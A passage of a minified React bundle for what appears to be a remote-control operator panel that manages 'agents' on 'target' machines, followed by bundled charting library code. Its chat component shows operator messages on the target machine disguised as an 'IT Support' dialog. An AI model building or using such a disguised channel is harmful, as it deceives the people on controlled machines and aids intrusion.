transition-colors",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),s.jsxs("div",{className:"py-1",children:[z.length===0&&s.jsx("div",{className:"px-3 py-4 text-center",children:s.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),z.map((D,M)=>s.jsxs(wh.Fragment,{children:[U(M)&&s.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),s.jsxs("div",{className:"relative",onMouseEnter:()=>A(D.label,M),onMouseLeave:O,children:[s.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===D.label||y===M?N?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":N?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[s.jsx("span",{className:`${d===D.label||y===M?N?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:D.icon}),s.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:D.label}),s.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===D.label||y===M?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===D.label&&s.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${I?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[s.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:s.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:D.label})}),D.commands.map((F,R)=>{const W=N&&F.nav.action!=="remove"&&F.nav.action!=="ban",$=GA.has(F.key)||F.nav.action==="remove",H=XA.has(F.key)||F.nav.action==="ban",X=YA.has(F.key),se=j&&b===R;return s.jsxs("button",{onClick:()=>P(F),disabled:W,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${$?se?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":H?se?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":W?"cursor-not-allowed text-zerin-text-muted":se?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[s.jsx("span",{children:F.label}),X&&!W&&Jt.externalLink]},F.key)})]})]})]},D.label))]})]})})};function gj({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,a]=p.useState([]),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(!0),m=p.useRef(null),h=p.useRef(null),{lastMessage:x}=p.useContext(ld),g=p.useCallback(async()=>{try{const v=rt(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();a(w)}}catch{}finally{f(!1)}},[e]);p.useEffect(()=>{n&&(f(!0),g())},[n,g]),p.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),p.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),p.useEffect(()=>{var v;(v=m.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),p.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=rt(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();a(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?s.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:s.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),s.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?s.jsx("div",{className:"flex h-full items-center justify-center",children:s.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?s.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[s.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),s.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>s.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:s.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[s.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[s.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),s.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:t_(v.timestamp)})]}),s.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),s.jsx("div",{ref:m})]}),s.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r
focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r
transition-all duration-200`}),s.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r
transition-colors hover:bg-zerin-accent-hover\r
disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),s.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function t_(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const n_=({open:e,onClose:t,title:n,children:r})=>{const i=p.useRef(null);return p.useEffect(()=>{if(!e)return;const a=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",a),()=>document.removeEventListener("keydown",a)},[e,t]),p.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?s.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[s.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),s.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),s.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:s.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function yj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t<i;t++)e[t]&&(n=yj(e[t]))&&(r&&(r+=" "),r+=n)}else for(n in e)e[n]&&(r&&(r+=" "),r+=n);return r}function Xe(){for(var e,t,n=0,r="",i=arguments.length;n<i;n++)(e=arguments[n])&&(t=yj(e))&&(r&&(r+=" "),r+=t);return r}var r_=["dangerouslySetInnerHTML","onCopy","onCopyCapture","onCut","onCutCapture","onPaste","onPasteCapture","onCompositionEnd","onCompositionEndCapture","onCompositionStart","onCompositionStartCapture","onCompositionUpdate","onCompositionUpdateCapture","onFocus","onFocusCapture","onBlur","onBlurCapture","onChange","onChangeCapture","onBeforeInput","onBeforeInputCapture","onInput","onInputCapture","onReset","onResetCapture","onSubmit","onSubmitCapture","onInvalid","onInvalidCapture","onLoad","onLoadCapture","onError","onErrorCapture","onKeyDown","onKeyDownCapture","onKeyPress","onKeyPressCapture","onKeyUp","onKeyUpCapture","onAbort","onAbortCapture","onCanPlay","onCanPlayCapture","onCanPlayThrough","onCanPlayThroughCapture","onDurationChange","onDurationChangeCapture","onEmptied","onEmptiedCapture","onEncrypted","onEncryptedCapture","onEnded","onEndedCapture","onLoadedData","onLoadedDataCapture","onLoadedMetadata","onLoadedMetadataCapture","onLoadStart","onLoadStartCapture","onPause","onPauseCapture","onPlay","onPlayCapture","onPlaying","onPlayingCapture","onProgress","onProgressCapture","onRateChange","onRateChangeCapture","onSeeked","onSeekedCapture","onSeeking","onSeekingCapture","onStalled","onStalledCapture","onSuspend","onSuspendCapture","onTimeUpdate","onTimeUpdateCapture","onVolumeChange","onVolumeChangeCapture","onWaiting","onWaitingCapture","onAuxClick","onAuxClickCapture","onClick","onClickCapture","onContextMenu","onContextMenuCapture","onDoubleClick","onDoubleClickCapture","onDrag","onDragCapture","onDragEnd","onDragEndCapture","onDragEnter","onDragEnterCapture","onDragExit","onDragExitCapture","onDragLeave","onDragLeaveCapture","onDragOver","onDragOverCapture","onDragStart","onDragStartCapture","onDrop","onDropCapture","onMouseDown","onMouseDownCapture","onMouseEnter","onMouseLeave","onMouseMove","onMouseMoveCapture","onMouseOut","onMouseOutCapture","onMouseOver","onMouseOverCapture","onMouseUp","onMouseUpCapture","onSelect","onSelectCapture","onTouchCancel","onTouchCancelCapture","onTouchEnd","onTouchEndCapture","onTouchMove","onTouchMoveCapture","onTouchStart","onTouchStartCapture","onPointerDown","onPointerDownCapture","onPointerMove","onPointerMoveCapture","onPointerUp","onPointerUpCapture","onPointerCancel","onPointerCancelCapture","onPointerEnter","onPointerEnterCapture","onPointerLeave","onPointerLeaveCapture","onPointerOver","onPointerOverCapture","onPointerOut","onPointerOutCapture","onGotPointerCapture","onGotPointerCaptureCapture","onLostPointerCapture","onLostPointerCaptureCapture","onScroll","onScrollCapture","onWheel","onWheelCapture","onAnimationStart","onAnimationStartCapture","onAnimationEnd","onAnimationEndCapture","onAnimationIteration","onAnimationIterationCapture","onTransitionEnd","onTransitionEndCapture"];function bx(e){if(typeof e!="string")return!1;var t=r_;return t.includes(e)}var i_=["aria-activedescendant","aria-atomic","aria-autocomplete","aria-busy","aria-checked","aria-colcount","aria-colindex","aria-colspan","aria-controls","aria-current","aria-describedby","aria-details","aria-disabled","aria-errormessage","aria-expanded","aria-flowto","aria-haspopup","aria-hidden","aria-invalid","aria-keyshortcuts","aria-label","aria-labelledby","aria-level","aria-live","aria-modal","aria-multiline","aria-multiselectable","aria-orientation","aria-owns","aria-placeholder","aria-posinset","aria-pressed","aria-readonly","aria-relevant","aria-required","aria-roledescription","aria-rowcount","aria-rowindex","aria-rowspan","aria-selected","aria-setsize","aria-sort","aria-valuemax","aria-valuemin","aria-valuenow","aria-valuetext","className","color","height","id","lang","max","media","method","min","name","style","target","width","role","tabIndex","accentHeight","accumulate","additive","alignmentBaseline","allowReorder","alphabetic","amplitude","arabicForm","ascent","attributeName","attributeType","autoReverse","azimuth","baseFrequency","baselineShift","baseProfile","bbox","begin","bias","by","calcMode","capHeight","clip","clipPath","clipPathUnits","clipRule","colorInterpolation","colorInterpolationFilters","colorProfile","colorRendering","contentScriptType","contentStyleType","cursor","cx","cy","d","decelerate","descent","diffuseConstant","direction","display","divisor","dominantBaseline","dur","dx","dy","edgeMode","elevation","enableBackground","end","exponent","externalResourcesRequired","fill","fillOpacity","fillRule","filter","filterRes","filterUnits","floodColor","floodOpacity","focusable","fontFamily","fontSize","fontSizeAdjust","fontStretch","fontStyle","fontVariant","fontWeight","format","from","fx","fy","g1","g2","glyphName","glyphOrientationHorizontal","glyphOrientationVertical","glyphRef","gradientTransform","gradientUnits","hanging","horizAdvX","horizOriginX","href","ideographic","imageRendering","in2","in","intercept","k1","k2","k3","k4","k","kernelMatrix","kernelUnitLength","kerning","keyPoints","keySplines","keyTimes","lengthAdjust","letterSpacing","lightingColor","limitingConeAngle","local","markerEnd","markerHeight","markerMid","markerStart","markerUnits","markerWidth","mask","maskContentUnits","maskUnits","mathematical","mode","numOctaves","offset","opacity","operator","order","orient","orientation","origin","overflow","overlinePosition","overlineThickness","paintOrder","panose1","pathLength","patternContentUnits","patternTransform","patternUnits","pointerEvents","pointsAtX","pointsAtY","pointsAtZ","preserveAlpha","preserveAspectRatio","primitiveUnits","r","radius","refX","refY","renderingIntent","repeatCount","repeatDur","requiredExtensions","requiredFeatures","restart","result","rotate","rx","ry","seed","shapeRendering","slope","spacing","specularConstant","specularExponent","speed","spreadMethod","startOffset","stdDeviation","stemh","stemv","stitchTiles","stopColor","stopOpacity","strikethroughPosition","strikethroughThickness","string","stroke","strokeDasharray","strokeDashoffset","strokeLinecap","strokeLinejoin","strokeMiterlimit","strokeOpacity","strokeWidth","surfaceScale","systemLanguage","tableValues","targetX","targetY","textAnchor","textDecoration","textLength","textRendering","to","transform","u1","u2","underlinePosition","underlineThickness","unicode","unicodeBidi","unicodeRange","unitsPerEm","vAlphabetic","values","vectorEffect","version","vertAdvY","vertOriginX","vertOriginY","vHanging","vIdeographic","viewTarget","visibility","vMathematical","widths","wordSpacing","writingMode","x1","x2","x","xChannelSelector","xHeight","xlinkActuate","xlinkArcrole","xlinkHref","xlinkRole","xlinkShow","xlinkTitle","xlinkType","xmlBase","xmlLang","xmlns","xmlnsXlink","xmlSpace","y1","y2","y","yChannelSelector","z","zoomAndPan","ref","key","angle"],a_=new Set(i_);function bj(e){return typeof e!="string"?!1:a_.has(e)}function wj(e){return typeof e=="string"&&e.startsWith("data-")}function Cr(e){if(typeof e!="object"||e===null)return{};var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(bj(n)||wj(n))&&(t[n]=e[n]);return t}function zo(e){if(e==null)return null;if(p.isValidElement(e)&&typeof e.props=="object"&&e.props!==null){var t=e.props;return Cr(t)}return typeof e=="object"&&!Array.isArray(e)?Cr(e):null}function It(e){var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(bj(n)||wj(n)||bx(n))&&(t[n]=e[n]);return t}function s_(e){return e==null?null:p.isValidElement(e)?It(e.props):typeof e=="object"&&!Array.isArray(e)?It(e):null}var o_=["children","width","height","viewBox","className","style","title","desc"];function Nm(){return Nm=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Nm.apply(null,arguments)}function l_(e,t){if(e==null)return{};var n,r,i=c_(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function c_(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var jj=p.forwardRef((e,t)=>{var{children:n,width:r,height:i,viewBox:a,className:o,style:l,title:c,desc:u}=e,d=l_(e,o_),f=a||{width:r,height:i,x:0,y:0},m=Xe("recharts-surface",o);return p.createElement("svg",Nm({},It(d),{className:m,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),p.createElement("title",null,c),p.createElement("desc",null,u),n)}),u_=["children","className"];function Sm(){return Sm=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Sm.apply(null,arguments)}function d_(e,t){if(e==null)return{};var n,r,i=f_(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function f_(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var Gt=p.forwardRef((e,t)=>{var{children:n,className:r}=e,i=d_(e,u_),a=Xe("recharts-layer",r);return p.createElement("g",Sm({className:a},It(i),{ref:t}),n)}),p_=p.createContext(null);function Ie(e){return function(){return e}}const kj=Math.cos,Hc=Math.sin,Hn=Math.sqrt,Kc=Math.PI,cd=2*Kc,zm=Math.PI,Cm=2*zm,_i=1e-6,m_=Cm-_i;function Nj(e){this._+=e[0];for(let t=1,n=e.length;t<n;++t)this._+=arguments[t]+e[t]}function h_(e){let t=Math.floor(e);if(!(t>=0))throw new Error(`invalid digits: ${e}`);if(t>15)return Nj;const n=10**t;return function(r){this._+=r[0];for(let i=1,a=r.length;i<a;++i)this._+=Math.round(arguments[i]*n)/n+r[i]}}class x_{constructor(t){this._x0=this._y0=this._x1=this._y1=null,this._="",this._append=t==null?Nj:h_(t)}moveTo(t,n){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}`}closePath(){this._x1!==null&&(this._x1=this._x0,this._y1=this._y0,this._append`Z`)}lineTo(t,n){this._append`L${this._x1=+t},${this._y1=+n}`}quadraticCurveTo(t,n,r,i){this._append`Q${+t},${+n},${this._x1=+r},${this._y1=+i}`}bezierCurveTo(t,n,r,i,a,o){this._append`C${+t},${+n},${+r},${+i},${this._x1=+a},${this._y1=+o}`}arcTo(t,n,r,i,a){if(t=+t,n=+n,r=+r,i=+i,a=+a,a<0)throw new Error(`negative radius: ${a}`);let o=this._x1,l=this._y1,c=r-t,u=i-n,d=o-t,f=l-n,m=d*d+f*f;if(this._x1===null)this._append`M${this._x1=t},${this._y1=n}`;else if(m>_i)if(!(Math.abs(f*c-u*d)>_i)||!a)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(m),w=a*Math.tan((zm-Math.acos((g+m-y)/(2*v*b)))/2),j=w/b,k=w/v;Math.abs(j-1)>_i&&this._append`L${t+j*d},${n+j*f}`,this._append`A${a},${a},0,0,${+(f*h>d*x)},${this._x1=t+k*c},${this._y1=n+k*u}`}}arc(t,n,r,i,a,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,m=o?i-a:a-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>_i||Math.abs(this._y1-d)>_i)&&this._append`L${u},${d}`,r&&(m<0&&(m=m%Cm+Cm),m>m_?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:m>_i&&this._append`A${r},${r},0,${+(m>=zm)},${f},${this._x1=t+r*Math.cos(a)},${this._y1=n+r*Math.sin(a)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function wx(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new x_(t)}function jx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function Sj(e){this._context=e}Sj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function ud(e){return new Sj(e)}function zj(e){return e[0]}function Cj(e){return e[1]}function Pj(e,t){var n=Ie(!0),r=null,i=ud,a=null,o=wx(l);e=typeof e=="function"?e:e===void 0?zj:Ie(e),t=typeof t=="function"?t:t===void 0?Cj:Ie(t);function l(c){var u,d=(c=jx(c)).length,f,m=!1,h;for(r==null&&(a=i(h=o())),u=0;u<=d;++u)!(u<d&&n(f=c[u],u,c))===m&&((m=!m)?a.lineStart():a.lineEnd()),m&&a.point(+e(f,u,c),+t(f,u,c));if(h)return a=null,h+""||null}return l.x=function(c){return arguments.length?(e=typeof c=="function"?c:Ie(+c),l):e},l.y=function(c){return arguments.length?(t=typeof c=="function"?c:Ie(+c),l):t},l.defined=function(c){return arguments.length?(n=typeof c=="function"?c:Ie(!!c),l):n},l.curve=function(c){return arguments.length?(i=c,r!=null&&(a=i(r)),l):i},l.context=function(c){return arguments.length?(c==null?r=a=null:a=i(r=c),l):r},l}function _l(e,t,n){var r=null,i=Ie(!0),a=null,o=ud,l=null,c=wx(u);e=typeof e=="function"?e:e===void 0?zj:Ie(+e),t=typeof t=="function"?t:Ie(t===void 0?0:+t),n=typeof n=="function"?n:n===void 0?Cj:Ie(+n);function u(f){var m,h,x,g=(f=jx(f)).length,y,v=!1,b,w=new Array(g),j=new Array(g);for(a==null&&(l=o(b=c())),m=0;m<=g;++m){if(!(m<g&&i(y=f[m],m,f))===v)if(v=!v)h=m,l.areaStart(),l.lineStart();else{for(l.lineEnd(),l.lineStart(),x=m-1;x>=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[m]=+e(y,m,f),j[m]=+t(y,m,f),l.point(r?+r(y,m,f):w[m],n?+n(y,m,f):j[m]))}if(b)return l=null,b+""||null}function d(){return Pj().defined(i).curve(o).context(a)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:Ie(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:Ie(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:Ie(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:Ie(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:Ie(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:Ie(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:Ie(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,a!=null&&(l=o(a)),u):o},u.context=function(f){return arguments.length?(f==null?a=l=null:l=o(a=f),u):a},u}class Ej{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function v_(e){return new Ej(e,!0)}function g_(e){return new Ej(e,!1)}const kx={draw(e,t){const n=Hn(t/Kc);e.moveTo(n,0),e.arc(0,0,n,0,cd)}},y_={draw(e,t){const n=Hn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},Aj=Hn(1/3),b_=Aj*2,w_={draw(e,t){const n=Hn(t/b_),r=n*Aj;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},j_={draw(e,t){const n=Hn(t),r=-n/2;e.rect(r,r,n,n)}},k_=.8908130915292852,_j=Hc(Kc/10)/Hc(7*Kc/10),N_=Hc(cd/10)*_j,S_=-kj(cd/10)*_j,z_={draw(e,t){const n=Hn(t*k_),r=N_*n,i=S_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let a=1;a<5;++a){const o=cd*a/5,l=kj(o),c=Hc(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},Gf=Hn(3),C_={draw(e,t){const n=-Hn(t/(Gf*3));e.moveTo(0,n*2),e.lineTo(-Gf*n,-n),e.lineTo(Gf*n,-n),e.closePath()}},mn=-.5,hn=Hn(3)/2,Pm=1/Hn(12),P_=(Pm/2+1)*3,E_={draw(e,t){const n=Hn(t/P_),r=n/2,i=n*Pm,a=r,o=n*Pm+n,l=-a,c=o;e.moveTo(r,i),e.lineTo(a,o),e.lineTo(l,c),e.lineTo(mn*r-hn*i,hn*r+mn*i),e.lineTo(mn*a-hn*o,hn*a+mn*o),e.lineTo(mn*l-hn*c,hn*l+mn*c),e.lineTo(mn*r+hn*i,mn*i-hn*r),e.lineTo(mn*a+hn*o,mn*o-hn*a),e.lineTo(mn*l+hn*c,mn*c-hn*l),e.closePath()}};function A_(e,t){let n=null,r=wx(i);e=typeof e=="function"?e:Ie(e||kx),t=typeof t=="function"?t:Ie(t===void 0?64:+t);function i(){let a;if(n||(n=a=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),a)return n=null,a+""||null}return i.type=function(a){return arguments.length?(e=typeof a=="function"?a:Ie(a),i):e},i.size=function(a){return arguments.length?(t=typeof a=="function"?a:Ie(+a),i):t},i.context=function(a){return arguments.length?(n=a??null,i):n},i}function qc(){}function Yc(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function Oj(e){this._context=e}Oj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Yc(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Yc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function __(e){return new Oj(e)}function Tj(e){this._context=e}Tj.prototype={areaStart:qc,areaEnd:qc,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 